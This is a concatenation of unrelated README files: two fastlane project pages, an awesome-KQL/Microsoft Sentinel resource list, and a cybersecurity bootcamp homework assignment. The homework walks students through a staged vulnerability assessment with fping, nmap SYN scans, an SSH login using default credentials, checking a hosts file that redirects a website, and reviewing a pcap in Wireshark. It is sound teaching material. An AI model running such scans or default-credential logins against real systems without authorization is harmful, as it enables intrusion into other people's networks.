McBurney</a></h4> </td> <td id='iulian-onofrei'> <a href='https://github.com/revolter'> <img src='https://github.com/revolter.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/Revolt666'>Iulian Onofrei</a></h4> </td> <td id='luka-mirosevic'> <a href='https://github.com/lmirosevic'> <img src='https://github.com/lmirosevic.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4> </td> <td id='jimmy-dee'> <a href='https://github.com/jdee'> <img src='https://github.com/jdee.png?size=140'> </a> <h4 align='center'>Jimmy Dee</h4> </td> <td id='felix-krause'> <a href='https://github.com/KrauseFx'> <img src='https://github.com/KrauseFx.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4> </td> </tr> <tr> <td id='jérôme-lacoste'> <a href='https://github.com/lacostej'> <img src='https://github.com/lacostej.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4> </td> <td id='danielle-tomlinson'> <a href='https://github.com/DanToml'> <img src='https://github.com/DanToml.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/DanToml'>Danielle Tomlinson</a></h4> </td> <td id='aaron-brager'> <a href='https://github.com/getaaron'> <img src='https://github.com/getaaron.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4> </td> <td id='fumiya-nakamura'> <a href='https://github.com/nafu'> <img src='https://github.com/nafu.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/nafu003'>Fumiya Nakamura</a></h4> </td> <td id='josh-holtz'> <a href='https://github.com/joshdholtz'> <img src='https://github.com/joshdholtz.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/joshdholtz'>Josh Holtz</a></h4> </td> </tr> <tr> <td id='helmut-januschka'> <a href='https://github.com/hjanuschka'> <img src='https://github.com/hjanuschka.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/hjanuschka'>Helmut Januschka</a></h4> </td> <td id='jan-piotrowski'> <a href='https://github.com/janpio'> <img src='https://github.com/janpio.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/Sujan'>Jan Piotrowski</a></h4> </td> <td id='joshua-liebowitz'> <a href='https://github.com/taquitos'> <img src='https://github.com/taquitos.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4> </td> <td id='kohki-miki'> <a href='https://github.com/giginet'> <img src='https://github.com/giginet.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4> </td> <td id='manu-wallner'> <a href='https://github.com/milch'> <img src='https://github.com/milch.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4> </td> </tr> </table> Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_. ## Contribute to _fastlane_ Check out [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to help with _fastlane_. ## Code of Conduct Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md). ## License This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file. > This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools. <hr /> <h2 align="center"> ✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨ </h2> <hr />

# awesome-kql-sentinel A curated list of blogs, videos, tutorials, queries and anything else valuable to help you learn and master KQL and Microsoft Sentinel > Community contributions are most welcome! Check out our [contribution guide](./CONTRIBUTING.md) today and submit a **pull request** with any adds/removes/changes to content! ## Table Of Contents - [Official](#Official) - [Learn](#Official-Learn) - [Docs](#Official-Docs) - [Videos](#Official-Videos) - [Books](#Official-Books) - [Announcements and Articles](#Official-Announcements-and-Articles) - [Repositories and Tools](#Official-Repositories-and-Tools) - [Forums and Websites](#Official-Forums-and-Websites) - [Community](#Community) - [Videos](#Community-Videos) - [Podcasts](#Community-Podcasts) - [Books](#Community-Books) - [Articles](#Community-Articles) - [Tools and Websites](#Community-Tools-and-Websites) - [Repositories](#Community-Repositories) - [Forums](#Community-Forums) - [Twitter Resources](#twitter) ### Official Learn [Back To Top](#Table-Of-Contents) - [Addicted to KQL](https://github.com/rod-trent/AddictedtoKQL) - [KQL - The Next Query Language You Need to Learn](https://docs.microsoft.com/en-us/shows/data-exposed/kql-the-next-query-language-you-need-to-learn) - [Learning path SC-200: Create queries for Microsoft Sentinel using Kusto Query Language (KQL)](https://docs.microsoft.com/en-us/learn/paths/sc-200-utilize-kql-for-azure-sentinel/) - [MustLearnKQL - Video Series](https://www.youtube.com/watch?v=rcy2uSMLyqo&list=PLD7rlIrZEkLgiRbIs_5JXIxzu-5tpoDbd) - [MustLearnKQL](https://github.com/rod-trent/MustLearnKQL) - [Tutorial: Use Kusto queries](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/tutorial?pivots=azuremonitor) - [Write your first query with Kusto Query Language](https://docs.microsoft.com/en-us/learn/modules/write-first-query-kusto-query-language/) ### Official Docs [Back To Top](#Table-Of-Contents) - [Built-in threat detection rules](https://docs.microsoft.com/en-us/azure/sentinel/detect-threats-built-in) - [KQL quick reference](https://docs.microsoft.com/en-us/azure/data-explorer/kql-quick-reference) - [Kusto Query Language in Microsoft Sentinel](https://docs.microsoft.com/en-us/azure/sentinel/kusto-overview) - [Microsoft Sentinel Docs](https://docs.microsoft.com/en-us/azure/sentinel/) - [Query best practices](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/best-practices) - [Splunk to Kusto Query Language map](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/splunk-cheat-sheet) - [SQL to Kusto cheat sheet](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/sqlcheatsheet) - [What's new in Microsoft Sentinel](https://docs.microsoft.com/en-us/azure/sentinel/whats-new) ### Official Videos [Back To Top](#Table-Of-Contents) - [Automate Your Microsoft Sentinel Triage Efforts with RiskIQ Threat Intelligence](https://www.youtube.com/watch?v=8vTVKitim5c) - [Azure Sentinel Webinar: Deep Dive into Azure Sentinel Normalizing Parsers and Normalized Content](https://youtu.be/zaqblyjQW6k) - [Azure Sentinel webinar: KQL part 1 of 3 - Learn the KQL you need for Azure Sentinel](https://youtu.be/EDCBLULjtCM) - [Azure Sentinel webinar: KQL part 2 of 3 - KQL hands-on lab exercises](https://youtu.be/YKD_OFLMpf8) - [Azure Sentinel webinar: KQL part 3 of 3 - Optimizing Azure Sentinel KQL queries performance](https://youtu.be/jN1Cz0JcLYU) - [Azure Sentinel Webinar: The Information Model: Understanding Normalization in Azure Sentinel](https://youtu.be/WoGD-JeC7ng) - [Become a Notebooks Ninja – Getting Started with Jupyter Notebooks - Microsoft Sentinel Webinar](https://youtu.be/JLOhfoovASE) - [Deploy and Monitor Azure Key Vault Honeytokens with Microsoft Sentinel](https://youtu.be/LZoj0fqcfQY) - [Fusion ML Detections for Emerging Threats & Configuration UI](https://youtu.be/bTDp41yMGdk) - [KQL Framework for Microsoft Sentinel - Empowering You to Become KQL-Savvy](https://youtu.be/j7BQvJ-Qx_k) - [Latest Innovations for Microsoft's Cloud Native SIEM Recording - Microsoft Sentinel Webinar](https://youtu.be/kGctnb4ddAE) - [M365 Defender - Kusto query language basics](https://www.microsoft.com/videoplayer/embed/RWRwfJ) - [M365 Defender - Using Advanced Hunting](https://www.microsoft.com/videoplayer/embed/RE4G6DO) - [Microsoft Security Insights Podcast - Twitch](https://www.twitch.tv/microsoftsecurityinsights) - [Microsoft Sentinel Content Management](https://youtu.be/3iF__S-_v7A) - [Microsoft Sentinel in the Field: Part 1 - Managing security content as code](https://www.youtube.com/watch?v=vqLqJhaFNBk) - [Microsoft Sentinel in the Field: Part 2 - Learning with the training lab](https://www.youtube.com/watch?v=cAJEiPqocK4) - [Microsoft Sentinel in the Field: Part 3 - Deception in Microsoft Sentinel](https://www.youtube.com/watch?v=3mWHcIfa60o) - [Present and Future of EUBA](https://www.youtube.com/watch?v=dLVAkSLKLyQ) ### Official Books [Back To Top](#Table-Of-Contents) - [Azure Sentinel Technical Playbook for MSSPs](https://aka.ms/azsentinelmssp) ### Official Announcements and Articles [Back To Top](#Table-Of-Contents) - [Advanced KQL Framework Workbook - Empowering you to become KQL-savvy](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/advanced-kql-framework-workbook-empowering-you-to-become-kql/ba-p/3033766) - [Defending Critical Infrastructure with the Microsoft Sentinel: IT/OT Threat Monitoring Solution](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/defending-critical-infrastructure-with-the-microsoft-sentinel-it/ba-p/3061184) - [Get Hands-On KQL Practice with this Microsoft Sentinel Workbook](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/get-hands-on-kql-practice-with-this-microsoft-sentinel-workbook/ba-p/3055600) - [How To Align Your Analytics With Time Windows In Azure Sentinel Using KQL (Kusto Query Language)](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/how-to-align-your-analytics-with-time-windows-in-azure-sentinel/ba-p/1667574) - [Investigating Suspicious Azure Activity with Microsoft Sentinel](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/investigating-suspicious-azure-activity-with-microsoft-sentinel/ba-p/2985699) - [Learning with the Microsoft Sentinel Training Lab](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/learning-with-the-microsoft-sentinel-training-lab/ba-p/2953403) - [Leveraging the Power of KQL in Incident Response](https://techcommunity.microsoft.com/t5/security-compliance-and-identity/leveraging-the-power-of-kql-in-incident-response/ba-p/3044795) - [Log sources and analytics rules coverage workbook](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/log-sources-and-analytics-rules-coverage-workbook-see-how-your/ba-p/3124444) - [Microsoft Sentinel – continuous threat monitoring for GitHub](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/microsoft-sentinel-continuous-threat-monitoring-for-github/ba-p/3037154) - [Using External Data Sources To Enrich Network Logs Using Azure Storage And KQL](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/using-external-data-sources-to-enrich-network-logs-using-azure/ba-p/1450345) ### Official Repositories and Tools [Back To Top](#Table-Of-Contents) - [azure/azure-sentinel](https://github.com/Azure/Azure-Sentinel) - [Kusto Explorer](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/tools/kusto-explorer) - [Log Analytics demo environment](https://ms.portal.azure.com/#blade/Microsoft_Azure_Monitoring_Logs/DemoLogsBlade) - [microsoft/Kusto-Query-Language](https://github.com/microsoft/Kusto-Query-Language) ### Official Forums and Websites [Back To Top](#Table-Of-Contents) - [Microsoft Security Community - Youtube](https://www.youtube.com/c/MicrosoftSecurityCommunity) - [Microsoft Security Insights - Podcast](https://open.spotify.com/show/5GnrHASof2GBIV3h53wnUK) - [Microsoft Sentinel Blog](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/bg-p/MicrosoftSentinelBlog) - [Microsoft Sentinel TechCommunity](https://techcommunity.microsoft.com/t5/microsoft-sentinel/bd-p/MicrosoftSentinel) ## Community > Links below are from community sources, websites, and channels. ### Community Videos [Back To Top](#Table-Of-Contents) - [Azure Sentinel Lab Series](https://www.youtube.com/playlist?list=PLM3TOIlrnaI6B9ikTWz8A0FY812ZqBO3_) - [AzureFunBytes Episode 64 - Building SOC Efficiency with @Azure Sentinel with @rodtrent](https://youtu.be/wuqCjUmOFV0) - [GrayHat 2020 - Blue Teaming with Kusto Query Language, KQL - Ashwin Patil](https://www.youtube.com/watch?v=IMZkqTEBFeA) - [Managing Microsoft Sentinel using GIT repositories](https://youtu.be/A-rL3JIwEQ4) - [Setting up your first Azure Sentinel environment in 50 minutes](https://www.youtube.com/watch?v=29T8sWQPOxQ) - [Using Azure Sentinel to protect Microsoft Teams](https://www.youtube.com/watch?v=5fRmfUVMEPY) ### Community Podcasts [Back To Top](#Table-Of-Contents) - [KQL | Cafe](https://kqlcafe.github.io/website/) ### Community Books [Back To Top](#Table-Of-Contents) - [Microsoft 365 Security eBook](https://m365securitybook.com/) - [Microsoft Security Operations Analyst Exam Ref SC-200 Certification Guide](https://www.amazon.com/Microsoft-Security-Operations-Analyst-Certification-ebook/dp/B09R4SC4S5/ref=sr_1_1?crid=2OASBP4AR09EE&keywords=Microsoft+Security+Operations+Analyst+Exam+Ref+SC-200&qid=1644445540&s=digital-text&sprefix=microsoft+security+operations+analyst+exam+ref+sc-200%2Cdigital-text%2C301&sr=1-1) - [Microsoft Sentinel in Action](https://www.amazon.com/Microsoft-Sentinel-Action-Architect-implement-dp-1801815534/dp/1801815534/ref=dp_ob_title_bk) ### Community Articles [Back To Top](#Table-Of-Contents) - [Azure Sentinel Syslog Workbook](https://www.cloudsma.com/2020/05/azure-sentinel-syslog-workbook/) - [Collect Security Events in Microsoft Sentinel with the new AMA agent and DCR](https://jeffreyappel.nl/collect-security-events-in-sentinel-with-the-new-ama-agent-and-dcr/) - [Detecting privilege escalation with Azure AD service principals in Microsoft Sentinel](https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/) - [How to Use Office 365 Audit Data with Microsoft Sentinel](https://practical365.com/use-office-365-audit-data-with-microsoft-sentinel/) - [Hunting For Anomalies With Time-Series Analysis](https://m365internals.com/2021/02/16/hunting-for-anomalies-with-time-series/) - [Hunting Log4j with Sentinel](https://www.eshlomo.us/hunting-log4j-with-sentinel/) - [Keep an eye on your Azure AD guests with Microsoft Sentinel](https://learnsentinel.blog/2021/11/04/keep-an-eye-on-your-azure-ad-guests-with-microsoft-sentinel) - [KQL Cheat Sheet](https://www.mbsecure.nl/blog/2019/12/kql-cheat-sheet) - [KQLCeption – use KQL to investigate Microsoft Sentinel](https://learnsentinel.blog/2022/01/24/kqlception/) - [Kusto Make-Series vs Summarize](https://www.cloudsma.com/2021/04/kusto-make-series-vs-summarize/) - [Log4j Incident Response](https://www.eshlomo.us/log4j-incident-response/) - [Microsoft Sentinel – How to Leverage built-in Amazon Web Services S3 Data Connector](https://samilamppu.com/2022/01/17/microsoft-sentinel-how-to-leverage-built-in-amazon-web-services-s3-data-connector/) - [Microsoft Sentinel and the power of functions](https://learnsentinel.blog/2021/12/16/microsoft-sentinel-and-the-power-of-functions/) - [Monitor Microsoft Sentinel Data Connectors using Health Monitoring and Logic App](https://jeffreyappel.nl/monitor-microsoft-sentinel-data-connectors-using-health-monitoring-and-logic-app/) - [Monitoring of GitHub Enterprise with Microsoft Sentinel](https://www.cloud-architekt.net/github-enterprise-monitoring-sentinel/) - [Ollie, your personal Microsoft Sentinel assistant](https://thecollective.eu/blog/ollie-your-personal-microsoft-sentinel-assistant/) - [Optimize your Microsoft Sentinel pricing](https://medium.com/wortell/optimize-microsoft-sentinel-pricing-ca9901840b75) - [Set up Microsoft Sentinel as a single pane of glass for Microsoft 365 alerts](https://practical365.com/set-up-microsoft-sentinel-as-a-single-pane-of-glass-for-microsoft-365-alerts/) - [Setting up a bidirectional sync between Sentinel and JIRA](https://thecollective.eu/news/setting-up-a-bidirectional-sync-between-sentinel-and-jira/) - [Tag domain controllers automatically in Defender for Endpoint using KQL, Logic App, and API](https://jeffreyappel.nl/tag-domain-controllers-automatically-in-defender-for-endpoint-using-kql-logic-app-and-api/) - [Too much noise in your data? Summarize it!](http://learnsentinel.blog/2022/02/09/summarize-your-data/) - [What I Have Learned From Doing A Year Of Cloud Forensics In Azure AD](https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/) - [When does enabling Microsoft Sentinel make sense?](https://practical365.com/when-does-enabling-microsoft-sentinel-make-sense/) ### Community Tools and Websites [Back To Top](#Table-Of-Contents) - [Azure Cloud & AI Domain Blog](https://azurecloudai.blog/) - [Cloud, Systems Management, Automation](https://www.cloudsma.com/) - [FalconForce](https://www.falconforce.nl/en/blog/) - [Jeffrey Appel](https://jeffreyappel.nl/) - [Kusto King - Kusto Knight Learning Track](https://www.kustoking.com/kusto-knight/) - [Learn Sentinel](https://learnsentinel.blog/blog/) - [Managed Sentinel - Blog](https://www.managedsentinel.com/blog/) - [Microsoft Sentinel this Week](https://www.getrevue.co/profile/AzureSentinelToday) - [Sam's Corner](https://samilamppu.com/) - [SecureCloudBlog](https://securecloud.blog/) ### Community Repositories [Back To Top](#Table-Of-Contents) - [alexverboon/MDATP/tree/master/AdvancedHunting (Advanced Hunting)](https://github.com/alexverboon/MDATP/tree/master/AdvancedHunting) - [ashwin-patil/blue-teaming-with-kql](https://github.com/ashwin-patil/blue-teaming-with-kql) - [eshlomo1/Azure-Sentinel-4-SecOps](https://github.com/eshlomo1/Azure-Sentinel-4-SecOps) - [FalconForceTeam/FalconFriday](https://github.com/FalconForceTeam/FalconFriday) - [Kaidja/Azure-Sentinel](https://github.com/Kaidja/Azure-Sentinel) - [marcusbakker/KQL](https://github.com/marcusbakker/KQL) - [reprise99/Sentinel-Queries](https://github.com/reprise99/Sentinel-Queries) - [rod-trent/SentinelKQL](https://github.com/rod-trent/SentinelKQL) - [scautomation/Azure-Sentinel-Syslog-Workbook](https://github.com/scautomation/Azure-Sentinel-Syslog-Workbook) - [wortell/KQL](https://github.com/wortell/KQL) ### Community Forums [Back To Top](#Table-Of-Contents) - [Reddit - Azure Sentinel](https://www.reddit.com/r/azuresentinel) - [Reddit - Azure](https://reddit.com/r/AZURE) - [Stack Overflow - KQL](https://stackoverflow.com/questions/tagged/kql) ### Twitter [Back To Top](#Table-Of-Contents) - [Alex Verboon](https://twitter.com/alexverboon) - [Billy York](https://twitter.com/SCAutomation) - [DebugPrivilege](https://twitter.com/DebugPrivilege) - [Elli (IR)](https://twitter.com/misconfig) - [FalconForce Official](https://twitter.com/falconforceteam) - [Gianni](https://twitter.com/castello_johnny) - [Jan Geisbauer](https://twitter.com/JanGeisbauer) - [Jeffrey Appel](https://twitter.com/JeffreyAppel7) - [Kaido Järvemets](https://twitter.com/kaidja) - [Matt Zorich](https://twitter.com/reprise_99) - [Rod Trent](https://twitter.com/rodtrent) - [Sami Lamppu](https://twitter.com/samilamppu)

## Networking Fundamentals Homework: Rocking your Network! You have just been hired by RockStar Corporation as a network security analyst. - RockStar Corp has recently built a new office in Hollywood, California. You are tasked with completing a **network vulnerability assessment** of the office. - You will complete several steps in order to analyze the Hollywood network and then provide RockStar Corp a summary of your findings. - RockStar Corp is also concerned that a hacker may have infiltrated their Hollywood office. You will need to determine if there is anything suspicious in your findings. ### Files Required RockStar Corp has provided you with: - A list of their network assets: [Rock Star Server List](resources/Rockstarserverlist.xlsx) - Instructions to scan their network. ### Your Goal You will follow instructions to work through four phases of the network assessment. For each phase, include the following: - The steps and commands used to complete the tasks. - A summary of your findings for each testing phase. - Any network vulnerabilities discovered. - Findings associated with a hacker. - Recommended mitigation strategy. - Document the OSI layer where the findings were found. ### Topics Covered in Your Assignment - Subnetting - CIDR - IP Addresses - `fping` - OSI Model and OSI Layers - Protocols - Ports - Wireshark - PCAP Analysis - `DNS` - `HTTP` - `ARP` - `Syn` Scan - `TCP` - `nslookup` - Network Vulnerability Assessments - Network Vulnerability Mitigation --- ### Network Vulnerability Assessment Instructions Please note that you will be using your Vagrant virtual machine for this homework. ### **Phase 1**: _"I'd like to Teach the World to `Ping`"_ You have been provided a list of network assets belonging to RockStar Corp. Use `fping` to ping the network assets for only the Hollywood office. - Determine the IPs for the Hollywood office and run `fping` against the IP ranges in order to determine which IP is accepting connections. - RockStar Corp doesn't want any of their servers, even if they are up, indicating that they are accepting connections. - Use `fping <IP Address>` and ignore any results that say "Request timed out". - If any of the IP addresses send back a Reply, enter Ctrl+C to stop sending requests. - Create a summary file in a word document that lists out the `fping` command used, as well as a summary of the results. - Your summary should determine which IPs are accepting connections and which are not. - Also indicate at which OSI layer your findings are found. ### **Phase 2**: _"Some `Syn` for Nothin`"_ With the IP(s) found from Phase 1, determine which ports are open: - You will run a `SYN SCAN` against the IP accepting connections. See **SYN SCAN Instructions** below. - Using the results of the `SYN SCAN`, determine which ports are accepting connections. - Add these findings to the summary and be sure to indicate at which OSI layer your findings were found. #### `SYN SCAN` Instructions What is **Nmap**? - **Nmap** is a free networking scanning tool available for Linux distributions. - Security professionals use Nmap to determine the devices running on a network, as well as finding open ports to determine potential security vulnerabilities. - Nmap has many capabilities and commands that can be run. Here is a cheat sheet for reference: https://www.stationx.net/nmap-cheat-sheet/. For this activity, we will specifically focus on the Nmap capability of running a SYN SCAN. - We have already covered that a SYN SCAN is an automated method to check for the states of ports on a network, Nmap is simply a tool that can automate this task. To run a SYN SCAN: - Open up the terminal within your Linux machine. - The command to run a SYN SCAN is `nmap -sS <IP Address>`. - For example, if you wanted to run a SYN SCAN against the server IP of `74.207.244.221`, you would run `nmap -sS 74.207.244.221` and press enter. - This will scan the most common 1000 ports. - After this runs for several minutes, it should return a similar result that depicts the state of the ports on that server: Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-14 11:51 EDT Nmap scan report for li86-221.members.linode.com (74.207.244.221) Host is up (1.4s latency). Not shown: 988 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 110/tcp open pop3 113/tcp filtered ident 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 143/tcp open imap 445/tcp filtered microsoft-ds 465/tcp open smtps 587/tcp open submission 993/tcp open imaps 995/tcp open pop3s - The results show the port number / TCP / UDP , the state of the port, and the service / protocol for the ports that are either open or filtered (stopped by a firewall). - Closed ports are not shown, indicated on the line: `Not shown: 988 closed ports`. - For the purpose of this exercise, document which ports are open on the RockStar Corp server, and which OSI layer SYN scans run on. ### Phase 3: _"I Feel a `DNS` Change Comin' On"_ With your findings from Phase 2, determine if you can access the server that is accepting connections. - RockStar typically uses the same default username and password for most of their servers, so try this first: - **Username:** `jimi` - **Password:** `hendrix` - Try to figure out which port/service would be used for remote system administration, and then using these credentials, attempt to log into the IP that responded to pings from **Phase 1**. RockStar Corp recently reported that they are unable to access `rollingstone.com` in the Hollywood office. Sometimes when they try to access the website, a different, unusual website comes up. - While logged into the RockStar server from the previous step, determine if something was modified on this system that might affect viewing `rollingstone.com` within the browser. When you successfully find the configuration file, record the entry that is set to `rollingstone.com`. - Terminate your ssh session to the rollingstone server, and use `nslookup` to determine the real domain of the IP address you found from the previous step. - **Note**: **nslookup** is a command line utility that can work in Windows or Linux Systems. It is designed to query Domain Name System records. You can use PowerShell or MacOS/Linux terminal to run `nslookup`. - To run **nslookup**, simply enter the following on the command line: `nslookup <IP Address>` to find the domain associated to an IP address OR `nslookup <domain name>` to find the IP address associated to a domain - You'll know you found the right domain if it begins with `unknown.`. - Add your findings to your summary and be sure to indicate which OSI layer they were found on. ### Phase 4: _"Sh`ARP` Dressed Man"_ Within the RockStar server that you SSH'd into, and in the same directory as the configuration file from **Phase 3**, the hacker left a note as to where he stored away some packet captures. - View the file to find where to recover the packet captures. - These are packets that were captured from the activity in the Hollywood Office. - Use Wireshark to analyze this pcap file and determine if there was any suspicious activity that could be attributed to a hacker. - **Hint**: Focus on the ARP and HTTP protocols. Recall the different types of HTTP request methods and be sure to thoroughly examine the contents of these packets. - Add your findings in your summary and be sure to indicate at which OSI layer they were found. ### Your Submission: _"Its the End of the Assessment as We Know It, and I Feel Fine"_ #### Guidelines for your Submission: Provide the following for each phase: - List the steps and commands used to complete the tasks. - List any vulnerabilities discovered. - List any findings associated to a hacker. - Document the mitigation recommendations to protect against the discovered vulnerabilities. - Document the OSI layer where the findings were found. For example: **Phase 1** - Determined the IP ranges to scan were `1.1.1.1` and `2.2.2.2`, then ran `fping` against `1.1.1.1` and `2.2.2.2`. - Used the following commands to run `fping`: - `fping 1.1.1.1 ` - Determined a potential vulnerability that IP `1.1.1.1` is responding. - Since RockStar Corp doesn't want to respond to any requests, this is a vulnerability. - Recommend to restrict allowing ICMP echo requests against IP `1.1.1.1` to prevent successful responses from PING requests. - This occurred on the network layer as Ping uses IP addresses and IPs are used on the Network Layer. --- © 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.

<h3 align="center"> <a href="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png"> <img src="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png?raw=true" alt="fastlane Logo" width="500"> </a> </h3> [](https://twitter.com/FastlaneTools) [](https://github.com/fastlane/fastlane/blob/master/LICENSE) [](https://rubygems.org/gems/fastlane) [](https://circleci.com/gh/fastlane/fastlane) _fastlane_ is a tool for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application. <hr /> <h2 align="center"> ✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨ </h2> <hr /> ## Need Help? Before submitting a new GitHub issue, please make sure to - Check out [docs.fastlane.tools](https://docs.fastlane.tools) - Search for [existing GitHub issues](https://github.com/fastlane/fastlane/issues) If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command. **Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions. ## _fastlane_ team <!-- This table is regenerated and resorted on each release --> <table id='team'> <tr> <td id='jan-piotrowski'> <a href='https://github.com/janpio'> <img src='https://github.com/janpio.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/Sujan'>Jan Piotrowski</a></h4> </td> <td id='danielle-tomlinson'> <a href='https://github.com/DanToml'> <img src='https://github.com/DanToml.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/DanToml'>Danielle Tomlinson</a></h4> </td> <td id='jorge-revuelta-h'> <a href='https://github.com/minuscorp'> <img src='https://github.com/minuscorp.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4> </td> <td id='helmut-januschka'> <a href='https://github.com/hjanuschka'> <img src='https://github.com/hjanuschka.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/hjanuschka'>Helmut Januschka</a></h4> </td> <td id='aaron-brager'> <a href='https://github.com/getaaron'> <img src='https://github.com/getaaron.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4> </td> </tr> <tr> <td id='jérôme-lacoste'> <a href='https://github.com/lacostej'> <img src='https://github.com/lacostej.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4> </td> <td id='luka-mirosevic'> <a href='https://github.com/lmirosevic'> <img src='https://github.com/lmirosevic.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4> </td> <td id='kohki-miki'> <a href='https://github.com/giginet'> <img src='https://github.com/giginet.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4> </td> <td id='fumiya-nakamura'> <a href='https://github.com/nafu'> <img src='https://github.com/nafu.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/nafu003'>Fumiya Nakamura</a></h4> </td> <td id='josh-holtz'> <a href='https://github.com/joshdholtz'> <img src='https://github.com/joshdholtz.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/joshdholtz'>Josh Holtz</a></h4> </td> </tr> <tr> <td id='matthew-ellis'> <a href='https://github.com/matthewellis'> <img src='https://github.com/matthewellis.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/mellis1995'>Matthew Ellis</a></h4> </td> <td id='olivier-halligon'> <a href='https://github.com/AliSoftware'> <img src='https://github.com/AliSoftware.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4> </td> <td id='andrew-mcburney'> <a href='https://github.com/armcburney'> <img src='https://github.com/armcburney.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/armcburney'>Andrew McBurney</a></h4> </td> <td id='iulian-onofrei'> <a href='https://github.com/revolter'> <img src='https://github.com/revolter.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/Revolt666'>Iulian Onofrei</a></h4> </td> <td id='maksym-grebenets'> <a href='https://github.com/mgrebenets'> <img src='https://github.com/mgrebenets.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4> </td> </tr> <tr> <td id='stefan-natchev'> <a href='https://github.com/snatchev'> <img src='https://github.com/snatchev.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/snatchev'>Stefan Natchev</a></h4> </td> <td id='felix-krause'> <a href='https://github.com/KrauseFx'> <img src='https://github.com/KrauseFx.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4> </td> <td id='jimmy-dee'> <a href='https://github.com/jdee'> <img src='https://github.com/jdee.png?size=140'> </a> <h4 align='center'>Jimmy Dee</h4> </td> <td id='joshua-liebowitz'> <a href='https://github.com/taquitos'> <img src='https://github.com/taquitos.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4> </td> <td id='manu-wallner'> <a href='https://github.com/milch'> <img src='https://github.com/milch.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4> </td> </tr> </table> Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_. ## Contribute to _fastlane_ Check out [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to help with _fastlane_. ## Code of Conduct Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md). ## 